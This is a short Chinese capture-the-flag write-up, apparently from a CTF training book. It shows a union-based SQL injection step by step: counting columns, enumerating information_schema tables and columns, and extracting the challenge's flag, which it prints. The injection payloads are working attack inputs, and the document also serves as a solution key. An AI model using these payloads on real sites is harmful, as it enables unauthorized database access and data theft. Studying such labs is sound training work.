《从0到1：CTFer成长之路》

一、判断注入类型

二、猜解列名数量（字段数）

?id=1' order by 1%23

发现4，页面不正常，所以字段数为1，2，3

 三、查看报错位(报错位：2和3)

?id=123' union select 1,2,3 %23

四、信息收集

1、数据库名称：database()

得到数据库名称:note

2、表的信息

?id=123' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='note'%20%23

得到两个表:fl4g,notes

我们要找flag,猜测应该在fl4g表里面

3、列的信息

?id=123' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='fl4g' %23

得到列：fllllag

4、获取数据

?id=123' union select 1,database(),group_concat(fllllag) from note.fl4g %23

 n1book{union_select_is_so_cool}